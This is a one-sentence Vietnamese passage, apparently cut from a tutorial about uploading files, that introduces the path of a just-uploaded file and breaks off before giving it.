Như vậy file của mình mới up lên sẽ có đường dẫn là: